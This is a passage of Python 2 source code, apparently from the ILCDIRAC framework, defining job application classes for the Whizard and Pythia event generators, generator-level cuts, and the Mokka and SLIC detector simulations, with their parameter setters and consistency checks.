'model' : types.StringTypes\n } )\n\n self. model = model\n \n def willCut(self):\n \"\"\" You need this if you plan on cutting using L{StdhepCut} \n \"\"\"\n self.willBeCut = True \n \n def usingGridFiles(self):\n \"\"\" Call this if you want to use the grid files that come with the Whizard version used. \n \n Beware: Depends on the energy and generator cuts, use it if you know what you are doing.\n \"\"\"\n self.useGridFiles = True \n \n def setJobIndex(self, index):\n \"\"\" Optional: Define Job Index. Added in the file name between the event type and the extension.\n \n @param index: Index to use for generation\n @type index: string\n \"\"\" \n self._checkArgs( {\n 'index' : types.StringTypes\n } )\n\n self.jobindex = index\n \n def dumpWhizardDotIn(self, fname = 'whizard.in'):\n \"\"\" Dump the content of the whizard.in file requested for this application\n \"\"\"\n if self.addedtojob:\n self._wo.toWhizardDotIn(fname)\n else:\n self._reportError(\"Can't dump the whizard.in as there can be further changes\")\n \n def _checkConsistency(self):\n \"\"\" Check the consistency, called from Application\n \"\"\"\n self._wo = WhizardOptions(self.model)\n\n if not self.optionsdict:\n if not self.energy :\n return S_ERROR('Energy not set')\n \n if not self.nbevts :\n return S_ERROR('Number of events not set!')\n \n if not self.evttype:\n return S_ERROR(\"Process not defined\")\n else:\n res = self._wo.checkFields(self.optionsdict)\n if not res['OK']:\n return res\n self._wo.changeAndReturn(self.optionsdict)\n res = self._wo.getValue(\"process_input/process_id\")\n if not len(res['Value']):\n if self.evttype:\n if not self.optionsdict.has_key('process_input'):\n self.optionsdict['process_input'] = {}\n self.optionsdict['process_input']['process_id'] = self.evttype\n else:\n return S_ERROR(\"Event type not specified\")\n self.evttype = res['Value']\n \n res = self._wo.getValue(\"process_input/sqrts\")\n if type(res['Value']) == type(3) or type(res['Value']) == type(3.):\n energy = res['Value']\n else:\n energy = eval(res['Value'])\n if not energy:\n if self.energy:\n if not self.optionsdict.has_key('process_input'):\n self.optionsdict['process_input'] = {}\n self.optionsdict['process_input']['sqrts'] = self.energy\n energy = self.energy\n else:\n return S_ERROR(\"Energy set to 0\")\n self.energy = energy\n \n res = self._wo.getValue(\"simulation_input/n_events\")\n if type(res['Value']) == type(3) or type(res['Value']) == type(3.):\n nbevts = res['Value']\n else:\n nbevts = eval(res['Value']) \n if not nbevts:\n if self.nbevts:\n if not self.optionsdict.has_key('simulation_input'):\n self.optionsdict['simulation_input'] = {}\n self.optionsdict['simulation_input']['n_events'] = self.nbevts\n nbevts = self.nbevts\n else:\n return S_ERROR(\"Number of events set to 0\")\n self.nbevts = nbevts\n \n if not self._processlist:\n return S_ERROR(\"Process list was not given\")\n\n if self.genlevelcuts:\n for process in self.genlevelcuts.keys():\n if not process in self.evttype.split():\n self._log.info(\"You want to cut on %s but that process is not to be generated\"%process)\n for values in self.genlevelcuts.values():\n if not type(values) == types.ListType:\n return S_ERROR('Type of %s is not a list, cannot proceed'%values) \n self._genlevelcutsstr = str(self.genlevelcuts)\n \n if self.evttype:\n processes = self.evttype.split()\n if len(processes) > 1 and not self.globalname:\n return S_ERROR(\"Global name MUST be defined when producing multiple processes in one job\")\n elif self.globalname:\n self.evttype = self.globalname\n for process in processes:\n if not self._processlist.existsProcess(process)['Value']:\n self._log.notice(\"Available processes are:\")\n self._processlist.printProcesses()\n return S_ERROR('Process %s does not exists'%process)\n else:\n cspath = self._processlist.getCSPath(process)\n whiz_file = os.path.basename(cspath)\n version = whiz_file.replace(\".tar.gz\",\"\").replace(\".tgz\",\"\").replace(\"whizard\",\"\")\n if self.version:\n if self.version != version:\n return S_ERROR(\"All processes to consider are not available in the same WHIZARD version\")\n self.version = version\n self._log.info(\"Found the process %s in whizard %s\"%(process, self.version))\n \n if not self.version:\n return S_ERROR('No version found')\n \n if self.model:\n if not self._generatormodels.hasModel(self.model)['OK']:\n return S_ERROR(\"Unknown model %s\"%self.model)\n\n if self.outputFile:\n if self.outputFile.count(\"/\"):\n return S_ERROR(\"The OutputFile name is a file name, not a path. Remove any / in there\")\n\n if not self.outputFile and self._jobtype == 'User':\n self.outputFile = self.evttype\n if self.jobindex :\n self.outputFile += \"_\"+self.jobindex\n self.outputFile += \"_gen.stdhep\" \n\n if not self._jobtype == 'User':\n if not self.willBeCut:\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['nbevts'] = self.nbevts\n self.prodparameters['Process'] = self.evttype\n self.prodparameters['model'] = self.model\n self.prodparameters['Energy'] = self.energy\n self.prodparameters['whizardparams'] = self.optionsdict\n self.prodparameters['gencuts'] = self.genlevelcuts\n self.prodparameters['gridfiles'] = self.useGridFiles\n \n if not self.optionsdict and self.parameterdict:\n for key in self.parameterdict.keys():\n if not key in self._allowedparams:\n return S_ERROR(\"Unknown parameter %s\"%key)\n\n if not self.parameterdict.has_key('PNAME1'):\n self._log.info(\"Assuming incoming beam 1 to be electrons\")\n self.parameters.append('PNAME1=e1')\n else:\n self.parameters.append(\"PNAME1=%s\" %self.parameterdict[\"PNAME1\"] )\n \n if not self.parameterdict.has_key('PNAME2'):\n self._log.info(\"Assuming incoming beam 2 to be positrons\")\n self.parameters.append('PNAME2=E1')\n else:\n self.parameters.append(\"PNAME2=%s\" %self.parameterdict[\"PNAME2\"] )\n \n if not self.parameterdict.has_key('POLAB1'):\n self._log.info(\"Assuming no polarization for beam 1\")\n self.parameters.append('POLAB1=0.0 0.0')\n else:\n self.parameters.append(\"POLAB1=%s\" % self.parameterdict[\"POLAB1\"])\n \n if not self.parameterdict.has_key('POLAB2'):\n self._log.info(\"Assuming no polarization for beam 2\")\n self.parameters.append('POLAB2=0.0 0.0')\n else:\n self.parameters.append(\"POLAB2=%s\" % self.parameterdict[\"POLAB2\"])\n \n if not self.parameterdict.has_key('USERB1'):\n self._log.info(\"Will put beam spectrum to True for beam 1\")\n self.parameters.append('USERB1=T')\n else:\n self.parameters.append(\"USERB1=%s\" % self.parameterdict[\"USERB1\"])\n \n if not self.parameterdict.has_key('USERB2'):\n self._log.info(\"Will put beam spectrum to True for beam 2\")\n self.parameters.append('USERB2=T')\n else:\n self.parameters.append(\"USERB2=%s\" % self.parameterdict[\"USERB2\"])\n \n if not self.parameterdict.has_key('ISRB1'):\n self._log.info(\"Will put ISR to True for beam 1\")\n self.parameters.append('ISRB1=T')\n else:\n self.parameters.append(\"ISRB1=%s\" % self.parameterdict[\"ISRB1\"])\n \n if not self.parameterdict.has_key('ISRB2'):\n self._log.info(\"Will put ISR to True for beam 2\")\n self.parameters.append('ISRB2=T')\n else:\n self.parameters.append(\"ISRB2=%s\" % self.parameterdict[\"ISRB2\"])\n \n if not self.parameterdict.has_key('EPAB1'):\n self._log.info(\"Will put EPA to False for beam 1\")\n self.parameters.append('EPAB1=F')\n else:\n self.parameters.append(\"EPAB1=%s\" % self.parameterdict[\"EPAB1\"])\n \n if not self.parameterdict.has_key('EPAB2'):\n self._log.info(\"Will put EPA to False for beam 2\")\n self.parameters.append('EPAB2=F')\n else:\n self.parameters.append(\"EPAB2=%s\" % self.parameterdict[\"EPAB2\"])\n \n if not self.parameterdict.has_key('RECOIL'):\n self._log.info(\"Will set Beam_recoil to False\")\n self.parameters.append('RECOIL=F')\n else:\n self.parameters.append(\"RECOIL=%s\" % self.parameterdict[\"RECOIL\"])\n \n if not self.parameterdict.has_key('INITIALS'):\n self._log.info(\"Will set keep_initials to False\")\n self.parameters.append('INITIALS=F')\n else:\n self.parameters.append(\"INITIALS=%s\" % self.parameterdict[\"INITIALS\"])\n \n if not self.parameterdict.has_key('USERSPECTRUM'):\n self._log.info(\"Will set USER_spectrum_on to +-11\")\n self.parameters.append('USERSPECTRUM=11')\n else:\n self.parameters.append(\"USERSPECTRUM=%s\" % self.parameterdict[\"USERSPECTRUM\"])\n \n self.parameters = string.join(self.parameters, \";\")\n elif self.optionsdict:\n self._optionsdictstr = str(self.optionsdict)\n \n \n return S_OK() \n\n def _applicationModule(self):\n md1 = self._createModuleDefinition()\n md1.addParameter(Parameter(\"evttype\", \"\", \"string\", \"\", \"\", False, False, \"Process to generate\"))\n md1.addParameter(Parameter(\"RandomSeed\", 0, \"int\", \"\", \"\", False, False, \"Random seed for the generator\"))\n md1.addParameter(Parameter(\"Lumi\", 0, \"float\", \"\", \"\", False, False, \"Luminosity of beam\"))\n md1.addParameter(Parameter(\"Model\", \"\", \"string\", \"\", \"\", False, False, \"Model for generation\"))\n md1.addParameter(Parameter(\"SteeringFile\", \"\", \"string\", \"\", \"\", False, False, \"Steering file\"))\n md1.addParameter(Parameter(\"JobIndex\", \"\", \"string\", \"\", \"\", False, False, \"Job Index\"))\n md1.addParameter(Parameter(\"steeringparameters\", \"\", \"string\", \"\", \"\", False, False, \n \"Specific steering parameters\"))\n md1.addParameter(Parameter(\"OptionsDictStr\", \"\", \"string\", \"\", \"\", False, False, \n \"Options dict to create full whizard.in on the fly\"))\n md1.addParameter(Parameter(\"GenLevelCutDictStr\", \"\", \"string\", \"\", \"\", False, False, \n \"Generator level cuts to put in whizard.cut1\"))\n md1.addParameter(Parameter(\"willCut\", False, \"bool\", \"\", \"\", False, False, \"Will cut after\"))\n md1.addParameter(Parameter(\"useGridFiles\", True, \"bool\", \"\", \"\", False, False, \"Will use grid files\"))\n md1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return md1\n\n \n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue(\"evttype\", self.evttype)\n moduleinstance.setValue(\"RandomSeed\", self.seed)\n moduleinstance.setValue(\"Lumi\", self.lumi)\n moduleinstance.setValue(\"Model\", self.model)\n moduleinstance.setValue(\"SteeringFile\", self.steeringfile)\n moduleinstance.setValue(\"JobIndex\", self.jobindex)\n moduleinstance.setValue(\"steeringparameters\", self.parameters)\n moduleinstance.setValue(\"OptionsDictStr\", self._optionsdictstr)\n moduleinstance.setValue(\"GenLevelCutDictStr\", self._genlevelcutsstr)\n moduleinstance.setValue(\"willCut\", self.willBeCut)\n moduleinstance.setValue(\"useGridFiles\", self.useGridFiles)\n moduleinstance.setValue(\"debug\", self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n\n \n \n#################################################################\n# PYTHIA: Second Generator application\n################################################################# \nclass Pythia(Application):\n \"\"\" Call pythia.\n \n Usage:\n \n >>> py = Pythia()\n >>> py.setVersion(\"tt_500gev_V2\")\n >>> py.setEnergy(500) #Can look like a duplication of info, but trust me, it's needed.\n >>> py.setNbEvts(50)\n >>> py.setOutputFile(\"myfile.stdhep\")\n\n \"\"\"\n def __init__(self, paramdict = None):\n self.evttype = ''\n super(Pythia, self).__init__( paramdict )\n self.appname = 'pythia'\n self._modulename = 'PythiaAnalysis'\n self._moduledescription = 'Module to run PYTHIA'\n self.datatype = 'gen'\n \n def willCut(self):\n \"\"\" You need this if you plan on cutting using L{StdhepCut} \n \"\"\"\n self.willBeCut = True \n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n return m1 \n\n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n \n def _checkConsistency(self):\n if not self.version:\n return S_ERROR(\"Version not specified\")\n \n #Resolve event type, needed for production jobs\n self.evttype = self.version.split(\"_\")[0]\n \n if not self.nbevts:\n return S_ERROR(\"Number of events to generate not defined\")\n\n if not self.outputFile:\n return S_ERROR(\"Output File not defined\")\n \n if not self._jobtype == 'User':\n if not self.willBeCut: \n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['nbevts'] = self.nbevts\n self.prodparameters['Process'] = self.evttype\n\n return S_OK()\n \n \n#################################################################\n# PostGenSelection : Helper to filter generator selection \n################################################################# \nclass PostGenSelection(Application):\n \"\"\" Helper to filter generator selection\n \n Example:\n \n >>> postGenSel = PostGenSelection()\n >>> postGenSel.setNbEvtsToKeep(30)\n\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.NbEvtsToKeep = 0\n super(PostGenSelection, self).__init__( paramdict )\n self._modulename = \"PostGenSelection\"\n self.appname = 'postgensel'\n self._moduledescription = 'Helper to filter generator selection'\n \n def setNbEvtsToKeep(self, NbEvtsToKeep):\n \"\"\" Set the number of events to keep in the input file\n \n @param NbEvtsToKeep: number of events to keep in the input file. Must be inferior to the number of events.\n @type NbEvtsToKeep: int\n \n \"\"\" \n self._checkArgs( {\n 'NbEvtsToKeep' : types.IntType\n } )\n \n self.NbEvtsToKeep = NbEvtsToKeep\n return S_OK()\n\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter( Parameter( \"NbEvtsKept\", 0, \"int\", \"\", \"\", False, False, \"Number of events to keep\" ) )\n m1.addParameter( Parameter( \"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return m1\n \n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue('NbEvtsKept', self.NbEvtsToKeep)\n moduleinstance.setValue('debug', self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n \"\"\" Checks that all needed parameters are set\n \"\"\" \n \n if not self.NbEvtsToKeep :\n return S_ERROR('Number of events to keep was not given! Throw your brain to the trash and try again!')\n \n #res = self._checkRequiredApp() ##Check that job order is correct\n #if not res['OK']:\n # return res \n \n return S_OK() \n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK() \n \n##########################################################################\n# StdhepCut: apply generator level cuts after pythia or whizard\n##########################################################################\nclass StdhepCut(Application): \n \"\"\" Call stdhep cut after whizard of pythia\n \n Usage:\n \n >>> py = Pythia()\n ...\n >>> cut = StdhepCut()\n >>> cut.getInputFromApp(py)\n >>> cut.setSteeringFile(\"mycut.cfg\")\n >>> cut.setMaxNbEvts(10)\n >>> cut.setNbEvtsPerFile(10)\n \n \"\"\"\n def __init__(self, paramdict = None):\n self.maxevts = 0\n self.nbevtsperfile = 0\n self.selectionEfficiency = 0\n super(StdhepCut, self).__init__( paramdict )\n\n self.appname = 'stdhepcut'\n self._modulename = 'StdHepCut'\n self._moduledescription = 'Module to cut on Generator (Whizard of PYTHIA)'\n self.datatype = 'gen'\n \n def setMaxNbEvts(self, nbevts):\n \"\"\" Max number of events to keep in each file\n \n @param nbevts: Maximum number of events to read from input file\n @type nbevts: int\n \"\"\"\n self._checkArgs( {\n 'nbevts' : types.IntType\n } )\n self.maxevts = nbevts\n \n def setNbEvtsPerFile(self, nbevts):\n \"\"\" Number of events per file\n \n @param nbevts: Number of evetns to keep in each file.\n @type nbevts: int\n \"\"\"\n self._checkArgs( {\n 'nbevts' : types.IntType\n } )\n self.nbevtsperfile = nbevts \n\n def setSelectionEfficiency(self, efficiency):\n \"\"\" Selection efficiency of your cuts, needed to determine the number of files that will be created\n \n @param efficiency: Cut efficiency\n @type efficiency: float\n \"\"\"\n self._checkArgs( {\n 'efficiency' : types.FloatType\n } )\n self.selectionEfficiency = efficiency\n\n def _applicationModule(self):\n m1 = self._createModuleDefinition()\n m1.addParameter(Parameter(\"MaxNbEvts\", 0, \"int\", \"\", \"\", False, False, \"Number of evetns to read\"))\n m1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n\n return m1\n\n def _applicationModuleValues(self, moduleinstance):\n moduleinstance.setValue(\"MaxNbEvts\", self.maxevts)\n moduleinstance.setValue(\"debug\", self.debug)\n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK() \n\n def _checkConsistency(self):\n if not self.steeringfile:\n return S_ERROR(\"Cut file not specified\")\n elif not self.steeringfile.lower().count(\"lfn:\") and not os.path.exists(self.steeringfile):\n res = Exists(self.steeringfile)\n if not res['OK']:\n return res \n \n if not self.maxevts:\n return S_ERROR(\"You did not specify how many events you need to keep per file (MaxNbEvts)\")\n \n if not self.selectionEfficiency:\n return S_ERROR('You need to know the selection efficiency of your cuts')\n \n if not self._jobtype == 'User':\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['nbevts_kept'] = self.maxevts\n self.prodparameters['cut_file'] = self.steeringfile\n \n #res = self._checkRequiredApp() ##Check that job order is correct\n #if not res['OK']:\n # return res\n \n return S_OK()\n \n def _checkFinalConsistency(self):\n \"\"\" Final check of consistency: check that there are enough events generated\n \"\"\"\n if not self.nbevts:\n return S_ERROR('Please specify the number of events that will be generated in that step')\n \n kept = self.nbevts * self.selectionEfficiency\n if kept < 2*self.maxevts:\n return S_ERROR(\"You don't generate enough events\") \n \n return S_OK()\n\n \n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK() \n \n \n##########################################################################\n# Mokka: Simulation after Whizard or StdHepCut\n##########################################################################\nclass Mokka(Application): \n \"\"\" Call Mokka simulator (after Whizard, Pythia or StdHepCut)\n \n To ensure reproductibility, the RandomSeed is used as mcRunNumber. By default it's the jobID.\n \n Usage:\n \n >>> wh = Whizard()\n ...\n >>> mo = Mokka()\n >>> mo.getInputFromApp(wh)\n >>> mo.setSteeringFile(\"mysteer.steer\")\n >>> mo.setMacFile('MyMacFile.mac')\n >>> mo.setStartFrom(10)\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.startFrom = 0\n self.macFile = ''\n self.seed = 0\n self.runnumber = 0\n self.dbSlice = ''\n self.detectorModel = ''\n self.processID = ''\n super(Mokka, self).__init__( paramdict )\n ##Those 5 need to come after default constructor\n self._modulename = 'MokkaAnalysis'\n self._moduledescription = 'Module to run MOKKA'\n self.appname = 'mokka' \n self.datatype = 'SIM'\n self.detectortype = 'ILD'\n \n def setRandomSeed(self, seed):\n \"\"\" Optional: Define random seed to use. Default is JobID. \n \n Also used as mcRunNumber.\n \n @param seed: Seed to use during integration and generation. Default is Job ID.\n @type seed: int\n \"\"\"\n self._checkArgs( {\n 'seed' : types.IntType\n } )\n\n self.seed = seed \n \n def setmcRunNumber(self, runnumber):\n \"\"\" Optional: Define mcRunNumber to use. Default is 0. In Production jobs, is equal to RandomSeed\n \n @param runnumber: mcRunNumber parameter of Mokka\n @type runnumber: int\n \"\"\"\n self._checkArgs( {\n 'runnumber' : types.IntType\n } )\n\n self.runnumber = runnumber \n \n def setDetectorModel(self, detectorModel):\n \"\"\" Define detector to use for Mokka simulation \n \n @param detectorModel: Detector Model to use for Mokka simulation. Default is ??????\n @type detectorModel: string\n \"\"\"\n self._checkArgs( {\n 'detectorModel' : types.StringTypes\n } )\n\n self.detectorModel = detectorModel \n \n def setMacFile(self, macfile):\n \"\"\" Optional: Define Mac File. Useful if using particle gun.\n \n @param macfile: Mac file for Mokka\n @type macfile: string\n \"\"\"\n self._checkArgs( {\n 'macfile' : types.StringTypes\n } )\n self.macFile = macfile\n if os.path.exists(macfile) or macfile.lower().count(\"lfn:\"):\n self.inputSB.append(macfile)\n else:\n self._log.notice(\"Mac file not found locally and is not an lfn, I hope you know what you are doing...\") \n \n \n def setStartFrom(self, startfrom):\n \"\"\" Optional: Define from where mokka starts to read in the generator file\n \n @param startfrom: from how mokka start to read the input file\n @type startfrom: int\n \"\"\"\n self._checkArgs( {\n 'startfrom' : types.IntType\n } )\n self.startFrom = startfrom \n \n \n def setProcessID(self, processID):\n \"\"\" Optional: Define the processID. This is added to the event header.\n \n @param processID: ID's process\n @type processID: string\n \"\"\"\n self._checkArgs( {\n 'processID' : types.StringTypes\n } )\n self.processID = processID\n \n \n def setDbSlice(self, dbSlice):\n \"\"\" Optional: Define the data base that will use mokka\n \n @param dbSlice: data base used by mokka\n @type dbSlice: string\n \"\"\"\n self._checkArgs( {\n 'dbSlice' : types.StringTypes\n } )\n self.dbSlice = dbSlice\n if os.path.exists(dbSlice) or dbSlice.lower().count(\"lfn:\"):\n self.inputSB.append(dbSlice)\n else:\n self._log.notice(\"DB slice not found locally and is not an lfn, I hope you know what you are doing...\") \n \n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n \n def _checkConsistency(self):\n\n if not self.version:\n return S_ERROR('No version found') \n \n if not self.steeringfile :\n return S_ERROR('No Steering File') \n \n if not os.path.exists(self.steeringfile) and not self.steeringfile.lower().count(\"lfn:\"):\n #res = Exists(self.steeringfile)\n res = S_OK()\n if not res['OK']:\n return res \n \n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n\n if not self._jobtype == 'User':\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['mokka_steeringfile'] = self.steeringfile\n if self.detectorModel:\n self.prodparameters['mokka_detectormodel'] = self.detectorModel\n self.prodparameters['detectorType'] = self.detectortype\n \n return S_OK() \n \n def _applicationModule(self):\n \n md1 = self._createModuleDefinition()\n md1.addParameter(Parameter(\"RandomSeed\", 0, \"int\", \"\", \"\", False, False, \n \"Random seed for the generator\"))\n md1.addParameter(Parameter(\"mcRunNumber\", 0, \"int\", \"\", \"\", False, False, \n \"mcRunNumber parameter for Mokka\"))\n md1.addParameter(Parameter(\"detectorModel\", \"\", \"string\", \"\", \"\", False, False, \n \"Detecor model for simulation\"))\n md1.addParameter(Parameter(\"macFile\", \"\", \"string\", \"\", \"\", False, False, \"Mac file\"))\n md1.addParameter(Parameter(\"startFrom\", 0, \"int\", \"\", \"\", False, False, \n \"From where Mokka start to read the input file\"))\n md1.addParameter(Parameter(\"dbSlice\", \"\", \"string\", \"\", \"\", False, False, \"Data base used\"))\n md1.addParameter(Parameter(\"ProcessID\", \"\", \"string\", \"\", \"\", False, False, \"Process ID\"))\n md1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return md1\n \n def _applicationModuleValues(self, moduleinstance):\n\n moduleinstance.setValue(\"RandomSeed\", self.seed)\n moduleinstance.setValue(\"detectorModel\", self.detectorModel)\n moduleinstance.setValue(\"mcRunNumber\", self.runnumber)\n moduleinstance.setValue(\"macFile\", self.macFile)\n moduleinstance.setValue(\"startFrom\", self.startFrom)\n moduleinstance.setValue(\"dbSlice\", self.dbSlice)\n moduleinstance.setValue(\"ProcessID\", self.processID)\n moduleinstance.setValue(\"debug\", self.debug)\n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK() \n \n\n\n##########################################################################\n# SLIC : Simulation after Whizard or StdHepCut\n##########################################################################\nclass SLIC(Application): \n \"\"\" Call SLIC simulator (after Whizard, Pythia or StdHepCut)\n \n Usage:\n \n >>> wh = Whizard()\n >>> slic = SLIC()\n >>> slic.getInputFromApp(wh)\n >>> slic.setSteeringFile(\"mymacrofile.mac\")\n >>> slic.setStartFrom(10)\n \n \"\"\"\n def __init__(self, paramdict = None):\n\n self.startFrom = 0\n self.seed = 0\n self.detectorModel = ''\n super(SLIC,self).__init__( paramdict )\n ##Those 5 need to come after default constructor\n self._modulename = 'SLICAnalysis'\n self._moduledescription = 'Module to run SLIC'\n self.appname = 'slic' \n self.datatype = 'SIM'\n self.detectortype = 'SID'\n \n def setRandomSeed(self, seed):\n \"\"\" Optional: Define random seed to use. Default is Job ID.\n \n @param seed: Seed to use during simulation. \n @type seed: int\n \"\"\"\n self._checkArgs( {\n 'seed' : types.IntType\n } )\n\n self.seed = seed \n \n def setDetectorModel(self, detectorModel):\n \"\"\" Define detector to use for Slic simulation \n \n @param detectorModel: Detector Model to use for Slic simulation. Default is ??????\n @type detectorModel: string\n \"\"\"\n self._checkArgs( {\n 'detectorModel' : types.StringTypes\n } )\n if detectorModel.lower().count(\"lfn:\"):\n self.inputSB.append(detectorModel)\n elif detectorModel.lower().count(\".zip\"):\n if os.path.exists(detectorModel):\n self.inputSB.append(detectorModel)\n else:\n self._log.notice(\"Specified detector model does not exist locally, I hope you know what you're doing\")\n \n \n self.detectorModel = os.path.basename(detectorModel).replace(\".zip\",\"\")\n \n \n def setStartFrom(self, startfrom):\n \"\"\" Optional: Define from how slic start to read in the input file\n \n @param startfrom: from how slic start to read the input file\n @type startfrom: int\n \"\"\"\n self._checkArgs( {\n 'startfrom' : types.IntType\n } )\n self.startFrom = startfrom \n \n \n def _userjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setUserJobFinalization(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('userjobmodules failed')\n return S_OK() \n\n def _prodjobmodules(self, stepdefinition):\n res1 = self._setApplicationModuleAndParameters(stepdefinition)\n res2 = self._setOutputComputeDataList(stepdefinition)\n if not res1[\"OK\"] or not res2[\"OK\"] :\n return S_ERROR('prodjobmodules failed')\n return S_OK()\n \n def _checkConsistency(self):\n\n if not self.version:\n return S_ERROR('No version found') \n if self.steeringfile:\n if not os.path.exists(self.steeringfile) and not self.steeringfile.lower().count(\"lfn:\"):\n res = Exists(self.steeringfile)\n if not res['OK']:\n return res \n \n #res = self._checkRequiredApp()\n #if not res['OK']:\n # return res\n\n if not self._jobtype == 'User':\n self._listofoutput.append({\"outputFile\":\"@{OutputFile}\", \"outputPath\":\"@{OutputPath}\", \n \"outputDataSE\":'@{OutputSE}'})\n self.prodparameters['slic_steeringfile'] = self.steeringfile\n self.prodparameters['detectorType'] = self.detectortype\n if self.detectorModel:\n self.prodparameters['slic_detectormodel'] = self.detectorModel\n \n if not self.startFrom :\n self._log.info('No startFrom defined for Slic : start from the begining')\n \n return S_OK() \n \n def _applicationModule(self):\n \n md1 = self._createModuleDefinition()\n md1.addParameter(Parameter(\"RandomSeed\", 0, \"int\", \"\", \"\", False, False, \n \"Random seed for the generator\"))\n md1.addParameter(Parameter(\"detectorModel\", \"\", \"string\", \"\", \"\", False, False, \n \"Detecor model for simulation\"))\n md1.addParameter(Parameter(\"startFrom\", 0, \"int\", \"\", \"\", False, False, \n \"From how Slic start to read the input file\"))\n md1.addParameter(Parameter(\"debug\", False, \"bool\", \"\", \"\", False, False, \"debug mode\"))\n return md1\n \n def _applicationModuleValues(self, moduleinstance):\n\n moduleinstance.setValue(\"RandomSeed\", self.seed)\n moduleinstance.setValue(\"detectorModel\", self.detectorModel)\n moduleinstance.setValue(\"startFrom\", self.startFrom)\n moduleinstance.setValue(\"debug\", self.debug)\n\n def _checkWorkflowConsistency(self):\n return self._checkRequiredApp()\n \n def _resolveLinkedStepParameters(self, stepinstance):\n if type(self._linkedidx) == types.IntType:\n self._inputappstep = self._jobsteps[self._linkedidx]\n if self._inputappstep:\n stepinstance.setLink(\"InputFile\", self._inputappstep.getType(), \"OutputFile\")\n return S_OK() \n \n \n#################################################################\n# OverlayInput : Helper call to define \n# Overlay processor/driver inputs\n################################################################# \nfrom ILCDIRAC.Workflow.Modules.OverlayInput import 